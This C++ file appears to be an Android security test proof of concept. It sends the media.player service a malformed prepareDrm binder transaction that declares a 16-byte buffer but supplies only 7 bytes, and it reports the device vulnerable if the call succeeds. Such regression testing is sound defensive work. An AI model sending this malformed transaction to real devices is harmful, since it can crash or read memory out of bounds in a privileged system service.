1 /**
2 * Copyright (C) 2022 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <binder/IServiceManager.h>
18 #include <media/mediaplayer.h>
19 #include "../includes/common.h"
20
21 using namespace android;
22
main()23 int main() {
24 constexpr size_t bufferSize = 16;
25 constexpr uint32_t prepareDrm = 39;
26 constexpr uint32_t unknownTrxnCode = prepareDrm + 5;
27 sp<IServiceManager> serviceManager = defaultServiceManager();
28 FAIL_CHECK(serviceManager != nullptr);
29
30 sp<IBinder> mediaPlayerService = serviceManager->getService(String16("media.player"));
31 FAIL_CHECK(mediaPlayerService != nullptr);
32
33 sp<IMediaPlayerService> iMediaPlayerService =
34 IMediaPlayerService::asInterface(mediaPlayerService);
35 FAIL_CHECK(iMediaPlayerService != nullptr);
36
37 sp<MediaPlayer> mediaPlayer = new MediaPlayer();
38 FAIL_CHECK(mediaPlayer != nullptr);
39
40 sp<IMediaPlayer> iMediaPlayer = iMediaPlayerService->create(mediaPlayer);
41 FAIL_CHECK(iMediaPlayer != nullptr);
42
43 Parcel data, reply;
44 data.writeInterfaceToken(iMediaPlayer->getInterfaceDescriptor());
45 status_t status = IMediaPlayer::asBinder(iMediaPlayer)->transact(unknownTrxnCode, data, &reply);
46 FAIL_CHECK(status == UNKNOWN_TRANSACTION);
47
48 const uint8_t arr[bufferSize] = {};
49 data.write(arr, bufferSize);
50 data.writeUint32(bufferSize);
51 // only write part of the buffer. If we write `bufferSize-3` or more,
52 // binder will round it up to bufferSize. It rounds up to the nearest 4. So,
53 // 7 is sufficiently small, it won't get rounded up to the full bufferSize.
54 data.write(arr, 7);
55 status = IMediaPlayer::asBinder(iMediaPlayer)->transact(prepareDrm, data, &reply);
56 return status == OK ? EXIT_VULNERABLE : EXIT_SUCCESS;
57 }
58